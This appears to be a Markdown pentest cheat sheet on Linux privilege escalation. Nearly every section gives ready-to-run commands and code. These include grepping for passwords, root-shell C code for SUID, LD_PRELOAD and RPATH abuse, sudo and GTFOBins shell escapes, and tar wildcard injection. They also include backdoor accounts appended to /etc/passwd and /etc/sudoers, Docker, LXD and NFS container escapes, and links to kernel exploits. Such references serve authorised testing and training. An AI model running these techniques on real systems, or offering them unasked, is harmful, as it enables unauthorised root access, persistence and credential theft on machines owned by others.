861 lines
28 KiB
Markdown
861 lines
28 KiB
Markdown
# Linux - Privilege Escalation
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## Summary
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* [Tools](#tools)
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* [Checklist](#checklists)
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* [Looting for passwords](#looting-for-passwords)
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* [Files containing passwords](#files-containing-passwords)
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* [Old passwords in /etc/security/opasswd](#old-passwords-in-etcsecurityopasswd)
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* [Last edited files](#last-edited-files)
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* [In memory passwords](#in-memory-passwords)
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* [Find sensitive files](#find-sensitive-files)
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* [SSH Key](#ssh-key)
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* [Sensitive files](#sensitive-files)
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* [SSH Key Predictable PRNG (Authorized_Keys) Process](#ssh-key-predictable-prng-authorized_keys-process)
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* [Scheduled tasks](#scheduled-tasks)
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* [Cron jobs](#cron-jobs)
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* [Systemd timers](#systemd-timers)
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* [SUID](#suid)
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* [Find SUID binaries](#find-suid-binaries)
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* [Create a SUID binary](#create-a-suid-binary)
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* [Capabilities](#capabilities)
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* [List capabilities of binaries](#list-capabilities-of-binaries)
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* [Edit capabilities](#edit-capabilities)
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* [Interesting capabilities](#interesting-capabilities)
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* [SUDO](#sudo)
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* [NOPASSWD](#nopasswd)
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* [LD_PRELOAD and NOPASSWD](#ld_preload-and-nopasswd)
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* [Doas](#doas)
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* [sudo_inject](#sudo_inject)
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* [CVE-2019-14287](#cve-2019-14287)
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* [GTFOBins](#gtfobins)
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* [Wildcard](#wildcard)
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* [Writable files](#writable-files)
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* [Writable /etc/passwd](#writable-etcpasswd)
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* [Writable /etc/sudoers](#writable-etcsudoers)
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* [NFS Root Squashing](#nfs-root-squashing)
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* [Shared Library](#shared-library)
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* [ldconfig](#ldconfig)
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* [RPATH](#rpath)
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* [Groups](#groups)
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* [Docker](#docker)
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* [LXC/LXD](#lxclxd)
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* [Hijack TMUX session](#hijack-tmux-session)
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* [Kernel Exploits](#kernel-exploits)
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* [CVE-2022-0847 (DirtyPipe)](#cve-2022-0847-dirtypipe)
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* [CVE-2016-5195 (DirtyCow)](#cve-2016-5195-dirtycow)
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* [CVE-2010-3904 (RDS)](#cve-2010-3904-rds)
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* [CVE-2010-4258 (Full Nelson)](#cve-2010-4258-full-nelson)
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* [CVE-2012-0056 (Mempodipper)](#cve-2012-0056-mempodipper)
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## Tools
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There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escalation vectors.
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Here are a few:
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- [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
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```powershell
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wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh
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curl "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -o linpeas.sh
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./linpeas.sh -a #all checks - deeper system enumeration, but it takes longer to complete.
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./linpeas.sh -s #superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk.
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./linpeas.sh -P #Password - Pass a password that will be used with sudo -l and bruteforcing other users
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```
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- [LinuxSmartEnumeration - Linux enumeration tools for pentesting and CTFs](https://github.com/diego-treitos/linux-smart-enumeration)
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```powershell
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wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
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curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
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./lse.sh -l1 # shows interesting information that should help you to privesc
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./lse.sh -l2 # dump all the information it gathers about the system
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```
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- [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum)
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```powershell
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./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
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```
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- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
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- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker)
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- [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)
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- [Privilege Escalation through sudo - Linux](https://github.com/TH3xACE/SUDO_KILLER)
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## Checklists
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* Kernel and distribution release details
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* System Information:
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* Hostname
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* Networking details:
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* Current IP
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* Default route details
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* DNS server information
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* User Information:
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* Current user details
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* Last logged on users
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* Shows users logged onto the host
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* List all users including uid/gid information
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* List root accounts
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* Extracts password policies and hash storage method information
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* Checks umask value
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* Checks if password hashes are stored in /etc/passwd
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* Extract full details for 'default' uid's such as 0, 1000, 1001 etc
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* Attempt to read restricted files i.e. /etc/shadow
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* List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)
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* Basic SSH checks
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* Privileged access:
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* Which users have recently used sudo
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* Determine if /etc/sudoers is accessible
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* Determine if the current user has Sudo access without a password
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* Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)
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* Is root's home directory accessible
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* List permissions for /home/
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* Environmental:
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* Display current $PATH
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* Displays env information
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* Jobs/Tasks:
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* List all cron jobs
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* Locate all world-writable cron jobs
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* Locate cron jobs owned by other users of the system
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* List the active and inactive systemd timers
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* Services:
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* List network connections (TCP & UDP)
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* List running processes
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* Lookup and list process binaries and associated permissions
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* List inetd.conf/xined.conf contents and associated binary file permissions
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* List init.d binary permissions
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* Version Information (of the following):
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* Sudo
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* MYSQL
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* Postgres
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* Apache
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* Checks user config
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* Shows enabled modules
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* Checks for htpasswd files
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* View www directories
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* Default/Weak Credentials:
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* Checks for default/weak Postgres accounts
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* Checks for default/weak MYSQL accounts
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* Searches:
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* Locate all SUID/GUID files
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* Locate all world-writable SUID/GUID files
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* Locate all SUID/GUID files owned by root
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* Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc)
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* Locate files with POSIX capabilities
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* List all world-writable files
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* Find/list all accessible *.plan files and display contents
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* Find/list all accessible *.rhosts files and display contents
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* Show NFS server details
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* Locate *.conf and *.log files containing keyword supplied at script runtime
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* List all *.conf files located in /etc
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* Locate mail
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* Platform/software specific tests:
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* Checks to determine if we're in a Docker container
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* Checks to see if the host has Docker installed
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* Checks to determine if we're in an LXC container
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## Looting for passwords
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### Files containing passwords
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```powershell
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grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
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find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
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```
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### Old passwords in /etc/security/opasswd
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The `/etc/security/opasswd` file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them.
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:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes
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### Last edited files
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Files that were edited in the last 10 minutes
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```powershell
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find / -mmin -10 2>/dev/null | grep -Ev "^/proc"
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```
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### In memory passwords
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```powershell
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strings /dev/mem -n10 | grep -i PASS
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```
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### Find sensitive files
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```powershell
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$ locate password | more
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/boot/grub/i386-pc/password.mod
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/etc/pam.d/common-password
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/etc/pam.d/gdm-password
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/etc/pam.d/gdm-password.original
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/lib/live/config/0031-root-password
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...
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```
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### Preseed
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A preseed.cfg file is used in Debian-based Linux distributions to automate the installation process. It contains answers to the questions that the installer normally asks, allowing for a fully unattended installation. This file can specify configurations such as partitioning schemes, package selections, network settings, and user accounts.
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* Root password in clear text
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```ps1
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d-i passwd/root-password password root_password_123
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d-i passwd/root-password-again password root_password_123
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```
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* Root password encrypted using an MD5 hash
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```ps1
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d-i passwd/root-password-crypted password $1$DhSfFtNS$v/Eb.KsQkTq8nKIX1.B8n.
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```
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* Normal user's password in clear text
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```ps1
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d-i passwd/user-password password my_password_123
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d-i passwd/user-password-again password my_password_123
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```
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* Normal user's password encrypted using an MD5 hash
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```ps1
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d-i passwd/user-password-crypted password $1$DgJMNO1/$BqfY2C5y00p0yhpApPmmJ1
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```
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## SSH Key
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### Sensitive files
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```
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find / -name authorized_keys 2> /dev/null
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find / -name id_rsa 2> /dev/null
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...
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```
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### SSH Key Predictable PRNG (Authorized_Keys) Process
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This module describes how to attempt to use an obtained authorized_keys file on a host system.
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Needed : SSH-DSS String from authorized_keys file
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**Steps**
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1. Get the authorized_keys file. An example of this file would look like so:
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```
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ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ...
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```
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2. Since this is an ssh-dss key, we need to add that to our local copy of `/etc/ssh/ssh_config` and `/etc/ssh/sshd_config`:
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```
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echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config
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echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshd_config
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/etc/init.d/ssh restart
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```
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3. Get [g0tmi1k's debian-ssh repository](https://github.com/g0tmi1k/debian-ssh) and unpack the keys:
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```
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git clone https://github.com/g0tmi1k/debian-ssh
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cd debian-ssh
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tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2
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```
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4. Grab the first 20 or 30 bytes from the key file shown above starting with the `"AAAA..."` portion and grep the unpacked keys with it as:
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```
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grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf'
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dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub
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```
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5. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do:
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```
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ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934
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```
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And you should connect without requiring a password. If stuck, the `-vvv` verbosity should provide enough details as to why.
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## Scheduled tasks
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### Cron jobs
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Check if you have access with write permission on these files.
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Check inside the file, to find other paths with write permissions.
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```powershell
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/etc/init.d
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/etc/cron*
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/etc/crontab
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/etc/cron.allow
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/etc/cron.d
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/etc/cron.deny
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/etc/cron.daily
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/etc/cron.hourly
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/etc/cron.monthly
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/etc/cron.weekly
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/etc/sudoers
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/etc/exports
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/etc/anacrontab
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/var/spool/cron
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/var/spool/cron/crontabs/root
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crontab -l
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ls -alh /var/spool/cron;
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ls -al /etc/ | grep cron
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ls -al /etc/cron*
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cat /etc/cron*
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cat /etc/at.allow
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cat /etc/at.deny
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cat /etc/cron.allow
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cat /etc/cron.deny*
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```
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You can use [pspy](https://github.com/DominicBreuker/pspy) to detect a CRON job.
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```powershell
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# print both commands and file system events and scan procfs every 1000 ms (=1sec)
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./pspy64 -pf -i 1000
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```
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## Systemd timers
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```powershell
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systemctl list-timers --all
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NEXT LEFT LAST PASSED UNIT ACTIVATES
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Mon 2019-04-01 02:59:14 CEST 15h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily.timer apt-daily.service
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Mon 2019-04-01 06:20:40 CEST 19h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily-upgrade.timer apt-daily-upgrade.service
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Mon 2019-04-01 07:36:10 CEST 20h left Sat 2019-03-09 14:28:25 CET 3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
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3 timers listed.
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```
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## SUID
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SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is run, the uid will be changed by the owner one. If the file owner is `root`, the uid will be changed to `root` even if it was executed from user `bob`. SUID bit is represented by an `s`.
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```powershell
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╭─swissky@lab ~
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╰─$ ls /usr/bin/sudo -alh
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-rwsr-xr-x 1 root root 138K 23 nov. 16:04 /usr/bin/sudo
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```
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### Find SUID binaries
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```bash
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find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
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find / -uid 0 -perm -4000 -type f 2>/dev/null
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```
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### Create a SUID binary
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| Function | Description |
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|------------|---|
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| setreuid() | sets real and effective user IDs of the calling process |
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| setuid() | sets the effective user ID of the calling process |
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| setgid() | sets the effective group ID of the calling process |
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```bash
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print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
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gcc -o /tmp/suid /tmp/suid.c
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sudo chmod +x /tmp/suid # execute right
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sudo chmod +s /tmp/suid # setuid bit
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```
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## Capabilities
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### List capabilities of binaries
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```powershell
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╭─swissky@lab ~
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╰─$ /usr/bin/getcap -r /usr/bin
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/usr/bin/fping = cap_net_raw+ep
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/usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip
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/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
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/usr/bin/rlogin = cap_net_bind_service+ep
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/usr/bin/ping = cap_net_raw+ep
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/usr/bin/rsh = cap_net_bind_service+ep
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/usr/bin/rcp = cap_net_bind_service+ep
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```
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### Edit capabilities
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```powershell
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/usr/bin/setcap -r /bin/ping # remove
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/usr/bin/setcap cap_net_raw+p /bin/ping # add
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```
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### Interesting capabilities
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Having the capability =ep means the binary has all the capabilities.
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```powershell
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$ getcap openssl /usr/bin/openssl
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openssl=ep
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```
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Alternatively the following capabilities can be used in order to upgrade your current privileges.
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```powershell
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cap_dac_read_search # read anything
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cap_setuid+ep # setuid
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```
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Example of privilege escalation with `cap_setuid+ep`
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```powershell
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$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7
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$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
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sh-5.0# id
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uid=0(root) gid=1000(swissky)
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```
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| Capabilities name | Description |
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|---|---|
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| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing |
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| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log |
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| CAP_BLOCK_SUSPEND | This feature can block system suspends |
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| CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs |
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| CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks |
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| CAP_DAC_READ_SEARCH | This only bypasses file and directory read/execute permission checks |
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| CAP_FOWNER | This enables bypass of permission checks on operations that normally require the filesystem UID of the process to match the UID of the file |
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| CAP_KILL | Allow the sending of signals to processes belonging to others |
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| CAP_SETGID | Allow changing of the GID |
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| CAP_SETUID | Allow changing of the UID |
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| CAP_SETPCAP | Helps to transferring and removal of current set to any PID |
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| CAP_IPC_LOCK | This helps to lock memory |
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| CAP_MAC_ADMIN | Allow MAC configuration or state changes |
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| CAP_NET_RAW | Use RAW and PACKET sockets |
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| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
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## SUDO
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Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER)
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### NOPASSWD
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Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password.
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```bash
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$ sudo -l
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User demo may run the following commands on crashlab:
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(root) NOPASSWD: /usr/bin/vim
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```
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In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`.
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```bash
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sudo vim -c '!sh'
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sudo -u root vim -c '!sh'
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```
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### LD_PRELOAD and NOPASSWD
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If `LD_PRELOAD` is explicitly defined in the sudoers file
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||
```powershell
|
||
Defaults env_keep += LD_PRELOAD
|
||
```
|
||
|
||
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
|
||
|
||
```c
|
||
#include <stdio.h>
|
||
#include <sys/types.h>
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
void _init() {
|
||
unsetenv("LD_PRELOAD");
|
||
setgid(0);
|
||
setuid(0);
|
||
system("/bin/sh");
|
||
}
|
||
```
|
||
|
||
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=<full_path_to_so_file> <program>`, e.g: `sudo LD_PRELOAD=/tmp/shell.so find`
|
||
|
||
### Doas
|
||
|
||
There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
|
||
|
||
```bash
|
||
permit nopass demo as root cmd vim
|
||
```
|
||
|
||
### sudo_inject
|
||
|
||
Using [https://github.com/nongiach/sudo_inject](https://github.com/nongiach/sudo_inject)
|
||
|
||
```powershell
|
||
$ sudo whatever
|
||
[sudo] password for user:
|
||
# Press <ctrl>+c since you don't have the password.
|
||
# This creates an invalid sudo tokens.
|
||
$ sh exploit.sh
|
||
.... wait 1 seconds
|
||
$ sudo -i # no password required :)
|
||
# id
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
```
|
||
|
||
Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf)
|
||
|
||
|
||
### CVE-2019-14287
|
||
|
||
```powershell
|
||
# Exploitable when a user have the following permissions (sudo -l)
|
||
(ALL, !root) ALL
|
||
|
||
# If you have a full TTY, you can exploit it like this
|
||
sudo -u#-1 /bin/bash
|
||
sudo -u#4294967295 id
|
||
```
|
||
|
||
## GTFOBins
|
||
|
||
[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
|
||
|
||
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
|
||
|
||
> gdb -nx -ex '!sh' -ex quit
|
||
> sudo mysql -e '\! /bin/sh'
|
||
> strace -o /dev/null /bin/sh
|
||
> sudo awk 'BEGIN {system("/bin/sh")}'
|
||
|
||
|
||
## Wildcard
|
||
|
||
By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy.
|
||
|
||
```powershell
|
||
# create file for exploitation
|
||
touch -- "--checkpoint=1"
|
||
touch -- "--checkpoint-action=exec=sh shell.sh"
|
||
echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh
|
||
|
||
# vulnerable script
|
||
tar cf archive.tar *
|
||
```
|
||
|
||
Tool: [wildpwn](https://github.com/localh0t/wildpwn)
|
||
|
||
## Writable files
|
||
|
||
List world writable files on the system.
|
||
|
||
```powershell
|
||
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
|
||
find / -perm -2 -type f 2>/dev/null
|
||
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
|
||
```
|
||
|
||
### Writable /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||
|
||
/etc/sysconfig/network-scripts/ifcfg-1337 for example
|
||
|
||
```powershell
|
||
NAME=Network /bin/id <= Note the blank space
|
||
ONBOOT=yes
|
||
DEVICE=eth0
|
||
|
||
EXEC :
|
||
./etc/sysconfig/network-scripts/ifcfg-1337
|
||
```
|
||
src : [https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||
|
||
### Writable /etc/passwd
|
||
|
||
First generate a password with one of the following commands.
|
||
|
||
```powershell
|
||
openssl passwd -1 -salt hacker hacker
|
||
mkpasswd -m SHA-512 hacker
|
||
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
||
```
|
||
|
||
Then add the user `hacker` and add the generated password.
|
||
|
||
```powershell
|
||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||
```
|
||
|
||
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||
|
||
You can now use the `su` command with `hacker:hacker`
|
||
|
||
Alternatively you can use the following lines to add a dummy user without a password.
|
||
WARNING: you might degrade the current security of the machine.
|
||
|
||
```powershell
|
||
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
|
||
su - dummy
|
||
```
|
||
|
||
NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`.
|
||
|
||
### Writable /etc/sudoers
|
||
|
||
```powershell
|
||
echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
|
||
|
||
# use SUDO without password
|
||
echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
|
||
echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers
|
||
```
|
||
|
||
## NFS Root Squashing
|
||
|
||
When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it.
|
||
|
||
```powershell
|
||
# remote check the name of the folder
|
||
showmount -e 10.10.10.10
|
||
|
||
# create dir
|
||
mkdir /tmp/nfsdir
|
||
|
||
# mount directory
|
||
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
|
||
cd /tmp/nfsdir
|
||
|
||
# copy wanted shell
|
||
cp /bin/bash .
|
||
|
||
# set suid permission
|
||
chmod +s bash
|
||
```
|
||
|
||
## Shared Library
|
||
|
||
### ldconfig
|
||
|
||
Identify shared libraries with `ldd`
|
||
|
||
```powershell
|
||
$ ldd /opt/binary
|
||
linux-vdso.so.1 (0x00007ffe961cd000)
|
||
vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
|
||
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)
|
||
```
|
||
|
||
Create a library in `/tmp` and activate the path.
|
||
|
||
```powershell
|
||
gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c
|
||
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so
|
||
/opt/binary
|
||
```
|
||
|
||
### RPATH
|
||
|
||
```powershell
|
||
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
|
||
0x00000001 (NEEDED) Shared library: [libc.so.6]
|
||
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
|
||
|
||
level15@nebula:/home/flag15$ ldd ./flag15
|
||
linux-gate.so.1 => (0x0068c000)
|
||
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
|
||
/lib/ld-linux.so.2 (0x005bb000)
|
||
```
|
||
|
||
By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable.
|
||
|
||
```powershell
|
||
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
|
||
|
||
level15@nebula:/home/flag15$ ldd ./flag15
|
||
linux-gate.so.1 => (0x005b0000)
|
||
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
|
||
/lib/ld-linux.so.2 (0x00737000)
|
||
```
|
||
|
||
Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
|
||
|
||
```powershell
|
||
#include<stdlib.h>
|
||
#define SHELL "/bin/sh"
|
||
|
||
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
|
||
{
|
||
char *file = SHELL;
|
||
char *argv[] = {SHELL,0};
|
||
setresuid(geteuid(),geteuid(), geteuid());
|
||
execve(file,argv,0);
|
||
}
|
||
```
|
||
|
||
## Groups
|
||
|
||
### Docker
|
||
|
||
Mount the filesystem in a bash container, allowing you to edit the `/etc/passwd` as root, then add a backdoor account `toor:password`.
|
||
|
||
```bash
|
||
$> docker run -it --rm -v $PWD:/mnt bash
|
||
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
|
||
```
|
||
|
||
Almost similar but you will also see all processes running on the host and be connected to the same NICs.
|
||
|
||
```powershell
|
||
docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
|
||
```
|
||
|
||
Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell
|
||
|
||
```powershell
|
||
$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
|
||
latest: Pulling from chrisfosterelli/rootplease
|
||
2de59b831a23: Pull complete
|
||
354c3661655e: Pull complete
|
||
91930878a2d7: Pull complete
|
||
a3ed95caeb02: Pull complete
|
||
489b110c54dc: Pull complete
|
||
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
|
||
Status: Downloaded newer image for chrisfosterelli/rootplease:latest
|
||
|
||
You should now have a root shell on the host OS
|
||
Press Ctrl-D to exit the docker instance / shell
|
||
|
||
sh-5.0# id
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
```
|
||
|
||
More docker privilege escalation using the Docker Socket.
|
||
|
||
```powershell
|
||
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||
```
|
||
|
||
### LXC/LXD
|
||
|
||
The privesc requires to run a container with elevated privileges and mount the host filesystem inside.
|
||
|
||
```powershell
|
||
╭─swissky@lab ~
|
||
╰─$ id
|
||
uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel)
|
||
```
|
||
|
||
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
|
||
|
||
```powershell
|
||
# build a simple alpine image
|
||
git clone https://github.com/saghul/lxd-alpine-builder
|
||
./build-alpine -a i686
|
||
|
||
# import the image
|
||
lxc image import ./alpine.tar.gz --alias myimage
|
||
|
||
# run the image
|
||
lxc init myimage mycontainer -c security.privileged=true
|
||
|
||
# mount the /root into the image
|
||
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
||
|
||
# interact with the container
|
||
lxc start mycontainer
|
||
lxc exec mycontainer /bin/sh
|
||
```
|
||
|
||
Alternatively https://github.com/initstring/lxd_root
|
||
|
||
|
||
## Hijack TMUX session
|
||
|
||
Require a read access to the tmux socket : `/tmp/tmux-1000/default`.
|
||
|
||
```powershell
|
||
export TMUX=/tmp/tmux-1000/default,1234,0
|
||
tmux ls
|
||
```
|
||
|
||
|
||
## Kernel Exploits
|
||
|
||
Precompiled exploits can be found inside these repositories, run them at your own risk !
|
||
* [bin-sploits - @offensive-security](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)
|
||
* [kernel-exploits - @lucyoa](https://github.com/lucyoa/kernel-exploits/)
|
||
|
||
The following exploits are known to work well, search for more exploits with `searchsploit -w linux kernel centos`.
|
||
|
||
Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing `uname -a`
|
||
Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/.
|
||
|
||
### CVE-2022-0847 (DirtyPipe)
|
||
|
||
Linux Privilege Escalation - Linux Kernel 5.8 < 5.16.11
|
||
|
||
```
|
||
https://www.exploit-db.com/exploits/50808
|
||
```
|
||
|
||
### CVE-2016-5195 (DirtyCow)
|
||
|
||
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
|
||
|
||
```powershell
|
||
# make dirtycow stable
|
||
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
|
||
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
|
||
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
|
||
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
|
||
```
|
||
|
||
### CVE-2010-3904 (RDS)
|
||
|
||
Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
|
||
|
||
```powershell
|
||
https://www.exploit-db.com/exploits/15285/
|
||
```
|
||
|
||
### CVE-2010-4258 (Full Nelson)
|
||
|
||
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)
|
||
|
||
```powershell
|
||
https://www.exploit-db.com/exploits/15704/
|
||
```
|
||
|
||
### CVE-2012-0056 (Mempodipper)
|
||
|
||
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
|
||
|
||
```powershell
|
||
https://www.exploit-db.com/exploits/18411
|
||
```
|
||
|
||
|
||
## References
|
||
|
||
- [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m](https://mn3m.info/posts/suid-vs-capabilities/)
|
||
- [Privilege escalation via Docker - April 22, 2015 - Chris Foster](https://fosterelli.co/privilege-escalation-via-docker.html)
|
||
- [An Interesting Privilege Escalation vector (getcap/setcap) - NXNJZ - AUGUST 21, 2018](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/)
|
||
- [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
|
||
- [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/)
|
||
- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)
|
||
- [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/)
|
||
- [Privilege Escalation via lxd - @reboare](https://reboare.github.io/lxd/lxd-escape.html)
|
||
- [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/)
|
||
- [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject)
|
||
* [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html)
|
||
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)
|
||
* [SSH Key Predictable PRNG (Authorized_Keys) Process - @weaknetlabs](https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Vulnerabilities/SSH/key-exploit.md)
|
||
